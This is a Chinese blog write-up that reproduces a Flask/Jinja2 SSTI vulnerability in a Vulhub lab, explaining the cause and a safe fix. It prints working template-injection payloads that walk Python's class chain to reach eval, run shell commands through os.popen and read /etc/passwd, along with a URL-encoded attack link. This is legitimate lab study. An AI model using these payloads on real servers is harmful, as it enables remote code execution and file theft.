flask ssti漏洞复现


title: flask ssti漏洞复现
date: 2019-04-10 13:12:06
tags:
- python security
- flask ssti
- Vulhub
- 漏洞复现
categories:
- 漏洞复现
- flask/ssti


开一个新坑关于漏洞复现,通过复现漏洞去学习一些东西,vulhub有太多环境了,这里先从一些自己比较熟悉的开始学习。所以选择了flask/ssti

Vulhub是一个基于docker和docker-compose的漏洞环境集合,进入对应目录并执行一条语句即可启动一个
全新的漏洞环境,让漏洞复现变得更加简单,让安全研究者更加专注于漏洞原理本身。

分享一个好用的漏洞环境:Vulhub


前言

flask/ssti漏洞,完整叫法应该是: Flask(Jinja2) 服务端模板注入漏洞(SSTI)。上网找了找别人的分析文章。看了一大圈下来,发现都没怎么讲原理,都是直接开干,或许是这个漏洞太简单了吧233~。
不过最后还是找到一篇提了提原理的博客。贴在下面好了,因为我之前略微学了几天flask,所以这个漏洞原理理解复现起来还是挺顺畅的。
Flask(Jinja2) 服务端模板注入漏洞(SSTI)


基础知识

0x01 Flask

Flask简介

Flask 是一个使用 Python 编写的轻量级 Web 应用框架。其 WSGI 工具箱采用 Werkzeug ,模板引擎则使用 Jinja2 。
Flask 为你提供工具,库和技术来允许你构建一个 web 应用程序。这个 web 应用程序可以是一些 web 页面、博客、wiki、基于 web 的日历应用或商业网站。

Flask简单示例

flask简单易学,下面代码是flask版的hello world

from flask import Flask
app = Flask(__name__)
@app.route("/")
def hello():    
    return "Hello World!"
 
if __name__ == "__main__":
    app.run()

简单说下上面代码,第1、2行是初始化过程。3-5行是使用Flask提供的app.route修饰器,把修饰的函数注册为路由。简单讲就是当访问http://xxx.xx.xx/时,使用hello函数进行处理响应。

flask就简单这么提一下吧,具体的我也写不来,毕竟这是分析flask/ssti漏洞,不是flask学习笔记,而且我flask也就之前看过几天。如果有想仔细学flask的兄贵的话,我只能在下面贴个pdf链接了。。
Flask-Web开发:基于Python的Web应用开发实战

0x02 Jinja2

Jinja2简介

Jinja 2是一种面向Python的现代和设计友好的模板语言,它是以Django的模板为模型的。Jinja支持python语句

Jinja2 模版部分语法

  1. 变量
    Jinja2 使用{{name}}结构表示一个变量,它是一种特殊的占位符,告诉模版引擎这个位置的值从渲染模版时使用的数据中获取
    Jinja2 能识别所有类型的变量,甚至是一些复杂的类型,例如列表、字典和对象。此外,还可使用过滤器修改变量,过滤器名添加在变量名之后,中间使用竖线分隔。例如,下述模板以首字母大写形式显示变量name的值。

    Hello, {{ name|capitalize }}
    
  2. if&for语句
    if语句简单示例

    {% if user %}
         Hello,{{user}} !
    {% else %}
         Hello,Stranger!
    {% endif %}
    

    for语句循环渲染一组元素

    <ul>
         {% for comment in comments %}
             <li>{{comment}}</li>
         {% endfor %}
    </ul>
    

漏洞原理

0x01 查看源码

  1. cd进flask/ssti目录,开启ssti环境


    image
  2. 访问一下目标环境,可以看到开启成功


    image
  3. 接下来看一下网页app.py源码

    from flask import Flask, request
    from jinja2 import Template
    
    app = Flask(__name__)
    
    @app.route("/")
    def index():
        name = request.args.get('name', 'guest')
    
        t = Template("Hello " + name)
        return t.render()
    
    if __name__ == "__main__":
        app.run()
    

0x02 漏洞成因分析

可以看到上面第10行代码 t = Template("Hello " + name),Template()完全可控,那么就可以直接写入jinja2的模板语言,如下图,页面返回54289,证明存在ssti漏洞

image

0x03 漏洞预防测试

当然这不是jinja 2的问题,而是网站开发人员的疏漏,如果我们可以对上面代码稍作修改,即可以避免

from flask import Flask, request
from jinja2 import Template

app = Flask(__name__)

@app.route("/safe")
def index():
    name = request.args.get('name', 'guest')

    t = Template("Hello,{{n}} ")
    return t.render(n=name)

if __name__ == "__main__":
    app.run()

上面修改后代码第6行,将其路由到/safe页面进行访问测试,可以看到原本存在的代码注入漏洞就不存在了


image

漏洞利用

前面分析了ssti漏洞成因,现在就来讲讲如何利用这个注入漏洞搞点事情。首先给出vulhub官网上的文档的POC,后面再分析原理。

获取eval函数执行任意代码测试

Vulhub上的ssti文档是直接给了个获取eval函数并执行任意python代码的POC

{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
  {% for b in c.__init__.__globals__.values() %}
  {% if b.__class__ == {}.__class__ %}
    {% if 'eval' in b.keys() %}
      {{ b['eval']('__import__("os").popen("id").read()') }}
    {% endif %}
  {% endif %}
  {% endfor %}
{% endif %}
{% endfor %}

直接访问下面链接,可以得到结果

http://your-ip:8000/?name=%7B%25%20for%20c%20in%20%5B%5D.__class__.__base__.__subclasses__()%20%25%7D%0A%7B%25%20if%20c.__name__%20%3D%3D%20%27catch_warnings%27%20%25%7D%0A%20%20%7B%25%20for%20b%20in%20c.__init__.__globals__.values()%20%25%7D%0A%20%20%7B%25%20if%20b.__class__%20%3D%3D%20%7B%7D.__class__%20%25%7D%0A%20%20%20%20%7B%25%20if%20%27eval%27%20in%20b.keys()%20%25%7D%0A%20%20%20%20%20%20%7B%7B%20b%5B%27eval%27%5D(%27__import__(%22os%22).popen(%22id%22).read()%27)%20%7D%7D%0A%20%20%20%20%7B%25%20endif%20%25%7D%0A%20%20%7B%25%20endif%20%25%7D%0A%20%20%7B%25%20endfor%20%25%7D%0A%7B%25%20endif%20%25%7D%0A%7B%25%20endfor%20%25%7D
image

python沙盒逃逸

上面的POC测试用到一堆python特殊方法,初一看还看不懂,于是网上找了找资料学习总结了一下。
找到的一些资料博客里管这个叫python沙盒逃逸。于是又查了下python沙盒逃逸的定义。

image

下面是一些python基础知识

python特殊方法

0x01 __class__

__class__,返回当前对象所属的类


image

0x02 __base__ && __bases__

__base__ 和 __bases__ 作用都是返回当前类所继承的类,即基类,区别是base返回单个,bases以元组形式返回所有基类。


image

0x03 __mro__

以元组形式返回继承关系链


image

0x04 __globals__

以dict形式返回函数所在模块命名空间中的所有变量

0x05 __subclasses__()

以列表形式返回类的子类


image

0x06 __builtin__ && __builtins__

python中可以直接运行一些函数,例如int(),list()等等。这些函数可以在builtins中可以查到。查看的方法是dir(builtins)。在控制台中直接输入builtins会看到如下情况(python2)

image

在python3中__builtin__被换成了builtin,python3中使用方法如下图
image

__builtin__ 和 __builtins__之间是什么关系呢?

  1. 在主模块main中,__builtins__是对内建模块__builtin__本身的引用,即__builtins__完全等价于__builtin__,二者完全是一个东西,不分彼此。

  2. 非主模块main中,__builtins__仅是对__builtin__.__dict__的引用,而非__builtin__本身

利用python特殊方法bypass沙盒

0x01 用file对象读取文件(python2)

构造继承链的思路是

  1. 随便找一个内置类对象用class拿到他所对应的类
  2. bases拿到基类(<class 'object'>)
  3. subclasses()拿到子类列表
  4. 在子类列表中直接寻找可以利用的类

().\_\_class__.\_\_bases\_\_[0].\_\_subclasses__()

image

在这堆列表里找到file对应的对象

t = ().__class__.__bases__[0].__subclasses__()
for c in t:
    if c.__name__ == 'file':
        print t.index(c)

image

现在用dir查看file对象的内置方法:
dir(().\_\_class__.\_\_bases\_\_[0].\_\_subclasses__()[40])
image

利用readlines方法读取/etc/passwd文件
().\_\_class__.\_\_bases\_\_[0].\_\_subclasses__()[40]('/etc/passwd').readlines

故可以构造ssti payload

{% for c in ().__class__.__bases__[0].__subclasses__():%}
{% if c.__name__ == 'file':%}
{{"Success! File contents is <br />"}}
{% c('/etc/passwd').readlines() %}
{% endif %}
{% endfor %}

**注意: python3中file对象已不存在,故上面payload只适用于Python2

0x02寻找__builtins__中的eval

上面file对象只能Python2使用,那么如果遇上Python3该怎么办呢。
关于__builtins__,本文之前介绍python特殊方法是提到过,它包含了python的内置函数,而eval正在里面。所以只要找到eval,管他python2、python3,盘就完事了。

分别用python2、python3运行下面代码,找出含__builtins__的类,找一个python2、3共有的类

for c in ().__class__.__bases__[0].__subclasses__():
    try:    #这里代码为啥要用try呢,因为不是每个对象都有\_\_globals__
        if '__builtins__' in c.__init__.__globals__.keys():
            print(c.name)
    except:
        pass

如:_IterationGuard类是python 2、3共有
则可以构造下面payload,执行ls命令

{% for c in ().__class__.__bases__[0].__subclasses__(): %}
{% if c.__name__ == '_IterationGuard': %}
{{c.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()") }}
{% endif %}
{% endfor %}
image

总结

整个ssti复现下来,感觉还是很轻松的,可能是对python flask比较熟悉吧,希望接下来的其他漏洞复现不会自闭。。。


参考

用python继承链搞事情
Flask(Jinja2) 服务端模板注入漏洞(SSTI)
Python沙箱逃逸总结

©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 212,332评论 6 493
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 90,508评论 3 385
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 157,812评论 0 348
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 56,607评论 1 284
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 65,728评论 6 386
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 49,919评论 1 290
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 39,071评论 3 410
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 37,802评论 0 268
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 44,256评论 1 303
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 36,576评论 2 327
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 38,712评论 1 341
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 34,389评论 4 332
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 40,032评论 3 316
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 30,798评论 0 21
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 32,026评论 1 266
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 46,473评论 2 360
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 43,606评论 2 350

推荐阅读更多精彩内容